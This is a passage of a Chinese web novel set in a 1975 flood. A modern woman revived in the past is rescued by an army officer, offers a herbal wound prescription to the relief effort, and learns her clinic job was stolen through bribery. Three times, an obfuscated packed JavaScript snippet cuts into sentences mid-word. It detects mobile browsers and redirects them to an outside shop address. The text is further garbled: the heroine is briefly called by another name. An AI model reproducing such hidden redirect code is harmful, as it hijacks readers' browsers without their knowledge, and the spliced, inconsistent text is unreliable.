《天崩开局,中医她逆袭了[七零]》 1. 大灾,大疫 救人 “听众朋友们大家好,今天是1975年8月3日星期日,现在插播一条紧急新闻。” “今年7月29日至8月2日,汝宁省东部和南部地区出现连续大暴雨,全省平均降水量达62.3毫米,暴雨导致安西、花城以及平州等地共12个公社发生洪灾…” “…当地政府已出动上千名救援人员,附近官兵也紧急赶往洪灾现场,开展紧急救援…” 一串串新闻播报声通过收音机传遍汝宁全省,在很短的时间内,全省大部分人都知道了发生洪灾的事情。 安西县城的鹿鸣公社也是受灾的12个公社之一,新闻播放时,混浊的洪水冲过鹿鸣公社三个地势较为低洼的村落。有些村民被逼无奈,拿着家里最重要的家当爬上了房顶,期望着在被洪水淹没之前能有人来救他们。 也有人反应快,在发觉情势不对时,早已叫醒家人,带着家里最值钱的东西往山上爬。 到3日下午两点左右,雨势减缓,但洪水一时半会根本下不去,在村与村之间的田地和道路上肆意地流着,水中夹杂着破裂的木板和杂物,还有无人看管的鸡鸭与猫狗。 池晚不知道自己在这块窄窄的木板上捱了多久,之前她一直处在昏迷状态,脑子没有思考能力。直到她被一棵洪水中的树拦住,一手抱着树干,上半身趴在木板上,才让自己的大脑慢慢恢复清明。 她不清楚自己在哪,睁开眼时,只看到白茫茫的雨丝和看不到尽头的滔滔浊流。 靠着木板支撑,她上半身露出水面,下半身却一直泡在水里。 不知道自己在水里泡了多久,但她看到了搭在木板上的一只手,那手上的皮已被洪水泡肿,看上去浮肿惨白。 这到底是哪里? 就是这个简单的问题,她过了好久都没想明白。 她记得自己从前两天开始休年假,刚下高铁,去了中部地区准备旅游。在失去神志前,她还在一条林间小路边散步边拍摄,怎么就突然泡到了水里? 透过灰蒙蒙的天,池晚观察着周围的环境,确认这个地方她肯定没来过,远处的青山大概可以视为这里的地标,但她以前并没有见过这座山。 她闭了闭眼,压下乱七八糟的想法,再看向四周,想看看附近有没有能够落脚的地方。 她现在还有点力气,缓一缓的话,或许可以游过去。 可惜,周围全都是水,在她这个位置,根本望不到头。 她不死心地看了看旁边那棵直径约二十厘米的树,大树的树根受雨水不断冲蚀,树干已经有些歪了。再过几个小时或者一两天的话,或许这棵树会倒。 她估计了一下,暂时应该没什么问题。想到这儿,她一只手紧紧扒着树皮,两条腿也试图夹住树干,想往上爬。 足足折腾了十分钟左右,她才爬到了距离水面约一米二高的一个树杈。为了保住那块可以用来保命的木板,她像守财奴一样抱着那块木板一起坐到了树杈上。 她衣衫单薄,上身是一件她陌生的白底碎花翻领长袖衬衫,衬衫上钉着三个塑料钮扣,原本应该有四个的,只是胸口部位少了一颗,不知道什么时候掉了。 衬衫敞开处,能看出里面是一条棉质胸衣,那种样式的衣服她也从未穿过,这个发现,已印证了她之前的猜想。 她看向天空,咒骂了一声,想着要不要干脆跳到水里淹死,要是能死回去多好啊。 叹了口气,池晚看向她身上的衣服,胸口一片都拱了出来。此时四下无人,倒没有什么。要是碰到了人,再这样衣衫不整,怕是会被一些人乱瞧了去。 所以,上树后,池晚从树上扯下一条柔软的树枝,把树皮扒下来,用肿胀的手把树皮搓成长条再搓软,变成一根粗糙的细绳。 她再把这绳子穿到衬衫系扣子的孔洞处,两边绑紧,衣服终于可以把身体遮挡完全了。 忙完这些,她已累得瘫倒在树干上动弹不得。与此同时,腹部不断发出腹鸣音,显然已是饿极了。 她发出几声干呕,之所以没吐出来,是因为胃里实在没什么可吐的了。 看着树上不甚茂盛的绿叶,池晚考虑着,如果一直没人来救她的话,她或许不得不拿这些叶子来充饥了。 正胡思乱想着,上游湍急的水流裹夹着一堆乱草、杂物、浮木和一头大肥猪往这边涌了过来。 那头猪似乎已没了生命体征,被急流冲过来时,正正撞到树干上,撞得树叶都跟着打晃。 池晚及时抱住树干,才没被晃下去。但她裤子薄,坐在树干上时间久了,屁股被硌得生疼。 但相比于泡在水里的危险,疼一点总比丢了命要强。 她暗暗庆幸,幸好她刚才上了树,要是没上来,刚才她就被那些杂物和大肥猪给撞到了…… 更危险的是,这头猪被冲过来时,树干受到撞击,倾斜度又大了点。陈染就坐在树杈中间,自然能感觉得到。 这迫使她不得不想办法寻找一个较近的着陆点。忍着不断袭来的饥饿感,陈染往各个方向看去,这一看,她更加失望了。 此时,方圆不知多少的范围内,已成一片泽国。 以她现在的体力,无论从哪个方向往外游,恐怕都游不出去。 梁含璋和一名手下划着一条船去了鹿鸣公社受灾的一个村落,两人一直在寻找受灾的村民,一路上,他们已救了十二个人。 船上空间有限,每找到几个人,他们就得先把人送回到岸边,再由那边的工作人员以及志愿者帮忙,把灾民送到安置点照顾。 到下午四时许,他们已在附近往返数次,此时已进入鹿鸣公社最靠近鹿鸣山的一个大队。这个大队在整个公社十二个村落里,是相对偏远的一个大队,受灾也比较严重。 四点一过,雨势再度变小,只剩下毛毛细雨。梁含璋和手下小田的衣服都已经湿透了。 小田很年轻,刚过十八周岁,是个才入伍不久的新兵蛋子。他救灾经验虽不足,眼力倒是好,个子也高,一边划着船,一边向四周张望。 “团长,那有个大猪,赶紧往旁边划,要不翻了。”看见那头猪被水冲着向船撞过来,小田赶紧提醒梁含璋。 梁含璋已经发现了,他点了点头,没出声,手上的浆已经开始快速挥动,让船快速转向。 片刻后,那头猪擦着船的边飘向下游,梁含璋担心地看向那头随波漂流的猪以及远处浮着的鸡毛。 水里泡着太多的家禽和家畜,时间稍长一点,肯定会腐败并不断滋生细菌。一个弄不好,就会造成疫病流行。 而现在医院的技术能力并不强,有些大夫只接受过简短的培训就上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829780|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岗了。靠这些人,他也不确定能不能做好防疫病的工作。 考虑到这些,他想着,等回到岸上,可以跟其他赶去救援的领导做下沟通,看看能否加强防疫工作,并增调具有一定医疗水平的大夫到现场执行救援任务。 脑子里想着问题,他划船的速度并不慢,在二十分钟时间里,这条船离鹿鸣山又近了些。 雨雾中,他感觉五十米开外的树上似乎有个人。那人脚上的鞋早就不见了,上半身隐在树干后,从树杈上垂下来一条腿,一动不动地悬着。 小田也看到了,说:“梁团,那有个人,是女的。就是不知道活着没?” “应该活着吧,要不然就掉下去了。” 两个人正打算把船划过去,看看那边的情况,这时树杈上的人居然动了。 她那条腿晃了下,随后从树杈后露出一张披头散发的脸。 突然看过去,那人散着头发坐在树杈上,天要是黑的话,活脱脱像个女鬼。好在小田早有思想准备,知道老乡这是被水泡的,头发乱了很正常。 “同志,你没事吧?你等着,我们马上过去救你。”小田扬着扬手,对着池晚的方向挥舞。 梁含璋则加快了划船的速度,不过片刻,这条船距离树已只有二十米远。 终于见到人了,这两个人是来救她的!池晚想。 池晚在树上已趴了两个小时,身上的肌肉早已僵硬麻木,饥饿感不断袭来,她不知道自己什么时候会撑不住掉到水里淹死,或许淹不死但是饿死。 小田朝这边喊过来的时候,她终于有了反应,她清楚地看到两个人在快速划船。 “救命啊!”池晚探出上半身,无力地朝着船的方向挥了挥手。 小田加了把劲,准备再快一点。 就在这时,他发现那棵树开始往一个方向歪,他甚至来不及提醒,那棵树就夹带着树上的人向浊水上拍下去,树干砸到水面之时,砸起了一道水浪。 池晚被带下去,两臂脱力,也被那股下坠之力砸到了水里。 这倒霉催的,就差一点点就得救了……落水之前,池晚脑子里只有这一个念头。 梁含璋也挺无语的,怎么就这么巧。 他匆忙脱下穿在外面的外套,只着一件黄绿色背心,准备跳下水。 “我下去,你在船上等着。” 说完这句话,梁含璋就跳到了水里。 他水性很好,池晚落水的地方就在树的一侧,也好找。 所以,五六分钟过后,他就拖着一个披头散发的人从水里冒出头来。 他抹了把脸上的水,扒着船边,在小田帮助下,很快将池晚推到了船上。 推动中,他不可避免地接触了池晚的身体,不过他忙于救人,池晚又狼狈不堪,半死不活,他根本不会有什么非分的想法。 可是把池晚救上来之后,他就有点犯难了。 这个女孩趴在船上一动不动,再这样下去,是不是得做下人工呼吸? “团长,怎么办?要不你来?” 梁含璋在犹豫,人命关头,他终于下定决心,点头道:“行,我来。” 说到这儿,他跪坐在池晚身侧,准备开始做胸外按压以及人工呼吸。 好在他还没开始动手,船上躺着的人就缓缓睁开了眼。 2. 大灾,大疫 伤药 被救上来的女孩有了反应,梁含璋赶紧收回手。 池晚脑子里其实是有意识的,她游泳技术不差,之所以会被水呛到,主要原因是她又累又饿又渴,已经快脱力了。 在树上坐着的时候,还有信念支持着。此时被人救上来,没了那股劲撑着,她根本就爬不起来。 疲惫感紧紧地把她包裹住,她想跟这两个救她的人说说话都吃力。 “同志,你醒醒,你没事儿吧?”小田看见池晚脑袋歪向一侧,吐出来几口水,急忙问道。 “没事,谢谢~”池晚声音很弱,说完这几个字她就蜷成一团,侧躺在船中间。 即使她起不来,也知道这个小船不大,她一个人躺在中间,两头划船的人会坐不开的。所以她尽可能地把身体倦起,就是为了给别人腾出地方。 这个位置是下泉水大队,再往里走,就是远处那片青山。梁含璋猜测,这个女孩应该就是下泉水大队的人。 据他所知,下泉水在头天晚上十点左右就淹了。低矮地段的房顶都被淹没,看这女孩的情况,应该在水里泡了很久,脸色惨白,嘴唇都快干裂了。由此可见,刚才她都是在硬撑。 她能坚持到现在,恐怕已快到了极限。 想到这儿,他从船头拿过绿色军用水壶,递到池晚面前,在她耳边说:“喝点水吧,是烧过的。” 池晚果然能听到他说话,听说有水,她右手动了动,看样子是要喝水。 “小田,你扶一下。”梁含璋说。 小田赶紧托起池晚的头,梁含璋先伸手把盖在池晚脸上的湿发拨到她耳后,随即将壶嘴对准她的嘴。 池晚睁开眼,连着喝了几口,嘴里的干渴才得到缓解。 她抬手抹了下嘴,准备道谢。梁含璋知道她没力气,赶紧告诉她:“先别说话了,我们会送你去安置点。那里有吃的,到了地方你喝点粥就会好起来。” 他自始至终没有再去碰池晚,喂完水后,让小田把池晚放在船中间,两个人便赶紧往回划。 池晚感觉到身体不时随着波浪荡漾,这半天的担惊受怕在这一刻都得到了极大的缓解。 出于直觉,她觉得这两个人是可信的。但她是个谨慎的人,就算再累,也不敢在陌生人面前睡过去。 所以她精神稍恢复一些,就微微睁开眼,尽力不让自己在船上睡着。 见她安然无恙,梁含璋不再看她,开始加速划船。 他是鹿鸣公社营救活动的负责人,方方面面都需要他安排考虑,他不可能把精力用在一个陌生人身上。 把池晚送回安置点,他还得和小田去寻找其他灾民。 他甚至没注意看池晚长什么样,只记得,她用一根手搓的树皮绳绑住了崩开的衣服,就挺特别的。 “快来个人,又救回来一个。”小田朝着岸上的人喊。 船刚靠岸,有位中年妇女就快步走过来,跟梁含璋说:“同志,这个姑娘是从哪带回来的?” “我们是在下泉水找到她的,至于她是哪个大队的,我们还不知道,一会儿等她好点了,你们问她。”梁含璋说。 在梁含璋和小田协助下,这位身体壮实的妇女把池晚从船上扶了下来。 池晚倒是想自己走路的,但她两条腿软得像面条一样,踩在地上就要倒。 这位中年妇女不由分说地将她背在背上,说:“别逞能了,大姐背你过去。” 梁含璋叫住她,叮嘱道:“这位老乡在水里泡的时间太久了,肯定又饿又渴,刚才给她喝了几口水,应该不够。一会儿再给她喝点姜汤和粥。” “俺晓得,同志你们放心。”那位中年妇女赶紧答应了。 梁含璋顿了顿,又叫住她:“她衣服好像丢了个扣子,麻烦你们一会儿找点针线给她缝一缝。” 梁含璋平时是不会管这些细节的。但池晚刚才在船上表现得极为配合,尽力让自己蜷成一团,好给他们腾出足够的落脚空间,看上去很会别人考虑。 她也没像某些获救的人一样,一上船就哭天抢地的嚎,懂事得让人怜惜。 梁含璋知道灾民惨,但他现在没有精力去应付灾民们情绪上的问题,他只能保证尽力多救些人。毕竟,他不是神仙。 这女孩安静又懂事,他担心她不好意思麻烦别人,所以他愿意多叮嘱几句,以便让她得到较好的照顾。 一位中年妇女都答应了,梁含璋才带着小田重新划船去救人。 “丫头,俺叫李翠香,你以后有什么事都可以找我。这个帐篷才搭起来,现在东西不齐,你就在这儿歇着,等会我给你端碗粥过来。” 这个帐篷不知道是用什么材料搭起来的,帐篷里除了中间一米宽的走道,两侧全都铺着干燥的稻草,稻草下面垫着木板,这样潮气就不会传到人身上来。 “先别睡,先喝点姜汤去去寒,我再给你拿件干的衣服换上,要不然你会得病。”李翠香说。 池晚谢了声谢,接过粗瓷碗里的黄色姜汤,一饮而尽,这碗汤喝完池晚感觉自己终于活了过来,冰冷的身体开始有了热度。 李翠香端过来的粥是用小米加红薯熬的,还算稠。里面没什么油水,但红薯是甜的,池晚又饿的前胸贴后背,所以那半碗温热的粥一端过来,她很快就喝完了。 “丫头,俺还有事,你先躺会,等好点了再起来。”李翠香说完,先递给池晚一套旧衣服,又拿块布帮她挡着,等池晚换完衣服,她就端着碗走了。 池晚从别人说的话里知道,李翠香是上泉水大队的人。 这次鹿鸣公社受灾的一共有三个大队,李翠香所在的上泉水因为地势高,基本没事。受灾最严重的就是池晚所在的下泉水。 她穿的粗布衣服挺肥大的,也不知道是李翠香的旧衣服还是其他人的。 但她知道,不管是谁的,这衣服都很难得。 因为现在普通人家里都没有多余的衣服和被褥,有很多人新婚时做了一堆被褥,接下来一直到中年,还用着年轻时做的被褥。至于衣服,有些人甚至都没有替换的。 所以,这衣服上即使有补丁,也旧,还不合身,池晚仍然没有半分嫌弃。 看着李翠香风风火火地跑出去,估计又忙上了,池晚这才躺到了稻草上。 稻草干燥暄软,躺在上面,她感觉身体像化开了一样,躺下去之后一动不动,一时半会根本不想起来。 这个帐篷里还有四个人,都是女性,有两位中年妇女,一个上了年纪的老太太,还有一个是小女孩。 她们来得比池晚早一点,也很累,此时她们都躺着,池晚也没精力跟人说话,闭上眼睛便睡了过去。 不知道过了多久,外面天色已经暗了下来,雨终于在众人期盼下停了。 池晚睁开眼,听到帐篷里有人在议论:“我听说这两天城里有人在搞捐赠活动,就是不知道能送些什么?” 池晚心想可能会送些旧衣服,食品之类的。至于饮料,也就是水了。在这里不能要求太多,能有烧开的水饮用就不错了。 现在城乡差异巨大,很多农村人刚刚能吃饱饭,但吃的东西没什么油水,精细粮还是稀罕物。让那几个没受灾的大队出人来帮忙救灾,这没问题。但要让这些人给灾民捐赠物资,那可真是为难他们的。 所以,这种事还真得靠城里人或者各级政府想办法。 对于这些捐赠的物品,池晚没什么兴趣。所以她没怎么听。 她记得,那两位同志送她到安置点时,战士小田曾问过那位团长,问他腿上的伤口一直在水里泡着没什么问题吧。 池晚知道,在这儿救援的人挺多的,肯定会有人受伤。伤口一直泡水的话,万一感染化脓了,容易产生一些不良后果。 但这些人不可能不下水,一些小的伤口他们也不会在意。 可池晚却知道,洪水里有很多死去的家禽家畜,这时候还是夏天,水里肯定会有越来越多的致病菌。所以,她想写个药方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829781|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以便让战士们身上的伤口尽快痊愈,尽量减少感染。 正好这时翠香走过来,池晚就叫住她:“翠香姐,你能帮我找到纸笔吗?” 翠香态度很好,听说她要纸笔,还以为她要给哪个人写信。 女孩子现在就一个人,跟家人失散了,想写信这不奇怪。 不过她自己不会写字,自然不会随身带着纸笔。 “行啊,你等一下,我去问人借一下。对了,丫头,你有没有什么不舒服的地方?有的话,我去帮你找大夫。” 被救回来的灾民越来越多,透过敞开的帐篷口,池晚能看到外面很多人都是行色匆匆,走路都是用小跑的。 所以她说:“不用,我没事,让大夫先去照顾病人吧,不用管我。” 李翠香觉得这小姑娘挺懂事,也愿意帮她点忙,真的跑出去找人借纸笔了。 过了五分钟左右,她竟真的拿回来一个带帽的黑色钢笔,还有一张从日记本上撕下来的纸。 池晚没跟她客套,快速在纸下写下一个药方。 看到她在写字,帐篷里的几位灾民都围了上来,有个人惊讶地说:“你怎么写得这么快?” 李翠香不认识字,不知道她在写什么,只能看出来她写得很流畅。她很羡慕文化人,感觉很厉害的样子。 “丫头,你是想给家里人写信吗?” “不是,这是个药方,我家里长辈是乡下郎中,我这个药方治伤效果很不错。” “我担心有人身上有伤口,还一直接触水,怕感染了,所以把这个药方写下来。翠香姐你帮忙找人,看看这里谁说得算。如果他觉得这个药方可以用的话,就拿去用。” 李翠香满脸惊讶,小心地捏着那张纸,说:“这药方我也看不懂,要不我帮你问问吧。” 这时,有位灾民走过来,仔细看了下池晚的脸,终于认出了她。 看清池晚那一刻,这位老奶奶面上露出复杂的表情。 池晚感到挺奇怪的,这人看着她的时候,怎么像在看着个小可怜。 就在这时,那位老奶奶跟李翠香说:“这丫头她爸确实是郎中,跟我一个大队,都在下泉水,她爸池映川,她叫池晚。” 李翠香似乎想到了什么传闻,看向池晚的神色也变了变。 池晚心头愈发好奇,好像有什么事她没想起来,但这些人都知道。 看着李翠香手拿药方和纸笔离开,池晚决定静下来好好回忆回忆,看看她能不能想起来什么,至少也要想想她在这边还有什么家人。 总是这样被蒙在鼓里,这个感觉并不好。 李翠香出去的时候,天已经快黑了,她拿着纸笔直接进入了附近一座较小的帐篷。 梁含璋裤腿卷起来,正坐在一个长凳上。他左腿外侧有一条七八厘米长的伤口,因为被水泡得久了,伤口有点肿。 “这个…是药方?”接过李翠香递过去的药方和纸笔,梁含璋把钢笔别在上衣兜里,随即看向那张药方。 药方上的字迹清秀又带着根骨,能写成这样,在乡下这种地方是很罕见的。 “对,她是这么说的。她爸是乡下郎中,兴许真有用呢。” 此时在帐篷里还有两个人,其中一位是公社医院的院长,他以前是位赤脚医生,十几年前进入公社医院,再升为院长,所以药方他一般都能看得懂。 他这次过来,就是应梁含璋的要求,讨论下救灾之后的防病问题。 药方梁含璋也看不懂,所以他看向冯院长:“你来看看吧。” “行,我看下,要是真能用也是好事。”冯院长站了起来,伸手接过药方。 刚开始他并没有太在意,一个乡下姑娘能写出什么了不起的方子呢? 当他的眼神落在那药方上时,眼神竟有点变了,似乎有点凝重。 梁含璋注意到,他看完一遍后,回头又看了一遍,还用手指搓着下巴,好像在思考。 难道说,这个药方有点意思? 3. 大灾,大疫 报价 “这个药方谁给你的?”冯院长抬头问李翠香。 “她是下泉水大队的,是梁团长救回来的人,她爸就是池映川。” 下泉水大队隶属于鹿鸣公社,作为公社医院院长,冯院长当然认识公社各个大队的大夫。 他不仅认识池映川,还见过挺多次。 前两个月公社医院想要给一位老中医招助手,要求不高,能认字,有一定的文化水平,懂一些医药基本知识就可以。 为此,池映川特意找过冯院长,说他女儿合格,他想让自己女儿去公社医院工作。 这次人员选拔由副院长主管,因为池映川医术不错,在出差之前,冯院长特意向副院长交代过,让他重点考虑池家的孩子。 这个人选现在应该定下来了,他才回公社,还没来得及问副院长选的人是谁。 梁含璋在旁边听了一会儿,听出了冯院长的意思,这个药方应该不错。 旁边还坐着一位,此人年纪约四十出头,是鹿鸣公社邹副书记。他这次过来,是主持救灾工作。 “冯院长,你的意思是,这个药方可用?”邹副书记比较谨慎,在不够确定的情况下,他不会同意发放药材。 因为洪水肆虐,很多路都被冲得不像样子,人车想过来都不容易,所以他们这里物资挺紧缺的。食品衣物如此,药材也是一样。 他也经历过战乱和饥荒,知道洪水过后很容易引发大规模的传染病。所以运到这里的药品,要先保证有人发病后,得到及时控制,以免疾病扩散,形成难以控制的后果。 如果真发生了这种事情,他这个带队领导难辞其咎。 但另一方面,如果这个药方真的好,他也愿意让人尽快把药调配出来。因为不少来救援的官兵和老乡都受了伤,他们还要整天泡在水里,时间长了,容易感染。 作为现场决策者之一,他需要一个肯定的答案。只是他不懂医,就只能依靠冯院长这样的专业人士来做判断。 冯院长也知道摆在邹副书记面前的难处,他不擅长治伤科,只知道这个药方有效,但到底能有效到什么程度,是否速效,他也不敢肯定。 想了想,他说:“这个药方里没有太贵的药,从成本上来说,还在可控范围内。我感觉比我们常用的伤药效果好一些,咱们可以少量配制一些,连夜配成膏药,找两个人先试试。按我的经验,就算效果没那么快,也不至于出什么不良反应。” “明天县医院会派人来支援,到时候可以跟县医院的大夫再研究研究。” 邹副书记看了眼梁含璋左小腿上肿胀的伤口,同意了。 时间很紧,梁含璋站了起来,跟邹副书记说:“下午已经救出来五十九人,麻烦邹书记抓紧时间找几个会写字的老乡,让他们帮忙做下统计,把各村获救以及失踪人员姓名年龄性别都记录下来,方便我们分配人手。” “梁团长放心,我马上就安排这件事。”几个人说完话,匆匆走出帐篷。 梁含璋从帐篷里出来,叫来了刚救人返回的三连连长,问他:“三连有没有人受伤或者发病?” “有一个,被钉子扎到了脚,血淋淋的。他说没事,不疼,又去救人了。” “你关注一下,如果有情况,一定要拦住他,再向我汇报。”梁含璋说完,叫上小田,两个人重新划船往下泉水的方向走。 他已经记不清自己往返多少次了,这一片的景致他都熟了。 池晚把药方交给李翠香后,又躺到了稻草上休息。 才过三个小时,她下午吃的粥就消化过半,她也听说了,安置点物资紧张,因为路太难走,很多东西一时半会运不过来。 饿的人不只她一个,大家都一样,所以她忍着饿,什么都没说。 刚刚她眯着眼睛躺了一会儿,已经想起了一些事情。所以她多少有点明白,为什么同一个帐篷里的老太太看她的表情带有几分怜悯。 因为原主最近属实有点惨,她爸池映川于半个月前去了县城,从此再没回来。谁也不知道他在哪儿,就连公安那边都没查到什么消息。 在失踪之前,池映川帮她争取了一个工作,据说这事儿应该能成。 但五天前,人选定下来了,公社医院选中的人是下泉水大队长的儿子洪春波,而不是她。 好像还有别的事,但她一时半会没想起来。 邹副书记和冯院长一起进了池晚所在的帐篷,此时,帐篷里已多了五个人,都是女性,各个大队的都有,池晚大都没什么印象。 帐篷里人多,冯院长不打算在这种场合向池晚了解那个药方的情况,所以他暂时没说话。 邹副书记照常问了下灾民的情况,大人们都说挺好的,只有一个七八岁大的小女孩捂着肚子说了实话:“妞妞饿。” 她妈妈赶紧捂住她的嘴,然后一脸抱歉地对邹副书记说:“不好意思啊,孩子不懂事,她胡说的。俺娘俩能得救就不错了,别的都没啥。” 邹副书记拱了拱手,说:“是这样的,这边路太难走,东西一时半会运不过来。等明天应该能好点,大家先忍一忍。” 似乎是在响应他的话,说到这里,他肚子里也咕咕咕地响了起来。 这时,一个五十余岁的瘦削男人走了进来,他也就是下泉水大队的。他书法不错,硬笔字毛笔字写得都好,大队里无论谁家有红白喜事,都会找他写礼单。 所以,这次下泉水村负责统计获救与失踪人员的人就是他。 见他进来,邹副书记打算先和冯院长出去。 临走之前,冯院长看了眼池晚,问她:“你就是池映川女儿吧?” 听到他这么问,下泉水大队那位老太太好奇地往这边看。 “我吗?对,我是。”池晚撑着稻草站起来。 “哦,那你跟我出来一下。”池晚不认识冯院长,但她猜测,这个人可能是要问下药方的事。 她跟着冯院长走了出去,因为累,她走得并不快。 冯院长出了帐篷,见她还没出来,就在帐篷口等了一会儿。 走到人少的地方,冯院长停下来,说:“自我介绍下,我是公社医院院长冯少国,你刚才让李翠香拿过去的药方我看了,我打算先小批量试试。” “这个药方你亲自试过吗?你觉得效果如何?”冯院长这么问,是想看看,这个女孩子说话是否有分寸感,会不会夸大其辞。 “试过的,效果比普通伤药强,最重要的一点是见效快,能尽最大限度减少化脓感染。”池晚说得坦然,因为事实就是如此。 这种秘方级别的药方,要不是为了帮到抗灾救援的官兵和老乡,她还舍不得拿出来呢。 冯院长见她说得如此肯定,有点拿不准了。 她是在说大话,还是真的有把握呢? 正犹疑着,池晚问道:“药材放哪儿了,我能过去看看吗?” 听她这么说,冯院长灵机一动,说:“在那边的帐篷里放着,我带你去吧。”他想借机看看池晚认药的水平。 邹副书记也想过去看看,但他还有别的事要忙,不能一直盯着这事,就叮嘱冯院长:“老冯,事关药材分配问题,你盯着点。” 他现在不得不精打细算,这么多人,这么多张嘴,他不抠根本不行。 “知道,你先去忙你的吧。”冯院长说完,带着池晚去了靠北的一间帐篷。 这个帐篷门口有人守着,因为里面装的都是物资,没人的话,容易失窃。 哪怕是冯院长来了,也得先签字才能进去。 “进来吧,药材在这儿,你看看。”冯院长进去时,他派去配药的药师正在用小秤称量着池晚开的药方。 池晚信步走过去,随手从一个袋子里抓起一把茯苓。这些茯苓并没有熟切成丁,也没有粉,而是切成了大片,明显是生切的正品。这样用效果会更好,就是不知道这时候的价格如何。 茯苓旁边有一袋子党参,党参的芯比较大,一看就是真品,绝对不是防风染色冒充的。 防风比党参便宜多了,后世常有不良奸商把便宜的防风染色冒充党参,骗了不少人。其实内行人一看就知道是哪种药,因为防风的芯比党参小多了,就算染色了,也改变不了这一点。 又看了几种药材,池晚基本确定,放这里的药材质量都不错,味道也要浓一点。 看她不说话,为了探探她的底细,冯院长和气地问道:“你都看出来什么没有?” “还行,药材质量还不错。” “这个茯苓都是生切的大片,这样切会有损失,但是比熟切的效果好;党参都是偏大的条子切出来的;当归选的是归头;还有白术,油性好,挺新鲜……” 冯院长听得连连点头,连那个药师都往池晚这边看了好几眼。 “这批药材还可以,后边还会有药材送进来,到时候你看看是不是比这些临时调过来的要好一些?”冯院长说。 两个人正说着话,帐篷门口的门帘被人掀开,一个五十余岁的中年男人正要往里走。 是副院长?整个下午冯院长都没看到他人在哪儿。 他正好想问问副院长补充药品的进展,安置点药少,需要补充,这种事平时大都是由副院长负责的,渠道他都熟,这次冯院长也让他去办。 他注意到,副院长身后还有个人,看体态挺年轻。但那人没露脸,他以为不重要,也没特意问。 副院长这次带着洪春波匆匆赶来,是想让洪春波在冯院长面前刷刷脸,方便洪春波以后进公社医院工作。 冯院长提过让他重点考虑池映川的女儿,他本来也不想跟冯院长对着干,奈何下泉水大队长主动找上他,还送了不少礼品,又帮他儿子找了个工作。所以,他让洪春波顶了原定要给池晚的工作。 这件事他还没跟冯院长提,要说他担心害怕,倒也不至于,因为冯院长也没让他必须选池家女儿,只说让他重点关注。 冯院长要真问起了,那他大可以打个马虎眼,把这事儿糊弄过去。 反正池映川杳无踪影,她家连个主事的人都没有,就算抢了池晚的名额谁又能把他怎么样呢? 但心虚还是有的,毕竟他和洪家有不可对外人言的交易。 他下午特意去找洪春波,又跟洪家人下了趟馆子,看看时间差不多了,才带洪春波赶来了安置点。 然而他一只脚刚踏进来,就看到了池映川的女儿。她竟然跟冯院长在一起,看上去俩人聊得还不错,站的位置也不远,应该是一起来的。 帐篷里还有一个负责配药的年轻人,是公社医院的药师,这人他自然是认识的。他打算稍后有时间,向这个药师打听打听,冯院长和池映川女儿都说了什么。 现在当务之急,是要先把洪春波弄走。万一池晚当众闹起来,他不好向冯院长解释。 安置点这么多人,出了事容易影响到他的名声。所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829782|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以他不等冯院长发问,就转回身,将洪春波推了出去。 洪春波被他推着连续倒退数步,完全不知道发生了什么情况,不是说要让他到冯院长面前露露脸,好好表现表现吗?怎么突然把他推出来了。 他没看到池晚,所以他根本不明白副院长为何会这么做。 池晚只当那俩人走错了地方,看过数种药材后,问冯院长:“有没有采购清单,零售价的有吗?” “有是有,在医院里放着,手头有批发的,批发价上浮几成就是零售价,各个药店价格有点差别,但是差别不大。” 冯院长顺手把这批采购的药材清单递给池晚,想看看她到底要做什么。 池晚有自己的打算,接过清单后,从上到下观察着每种药材的价格。 这时代食品药品都很便宜,但也只是相对于现代而言。跟这时候的米面粮油比,有些药也不算便宜。 比如这时代的猪肉是6毛至8毛一斤,肥的贵,瘦的便宜,因为人们缺油水。 但这个清单上黄芪的批发价是100块钱1000克,约合0.1元/克。这个价格相对于此时的购买力,真是便宜不了一点。 有些人肢体麻木,一副药方里可能就需要用上30克黄芪,光是黄芪就需要花3块钱,这些钱足可以买四五斤猪肉了。 现代黄芪就不便宜,这时候相对于收入来说更贵。 但这时候的党参和川贝母就很划算,500克党参只要5块钱。 想当初,川贝母价格从15年起开始暴涨,后面池晚再给人开药时,都会考虑要不要用天花粉等药材代替川贝母,因为川贝母价格涨得凶,实在太贵了。 至于桂枝和鸡血藤这些药材,一直都很便宜。现代如此,这份清单上也一样。像这种药,开多一点她这个当大夫的也没有压力,不用担心患者花费太高。 池晚很快就看完了,在交还清单之前,池晚问冯院长:“这份清单我稍后能不能抄一份?” “这没问题,不过你抄这个是要干什么?”冯院长想不明白她的用途。 “我爸失踪了,家里没有多少进项,等洪水退了,我想上山采点药卖,给家里减轻点负担。”池晚说。 知道自己的工作被大队长儿子捷足先登,不管前因后果是什么样的,池晚得先卖个惨。 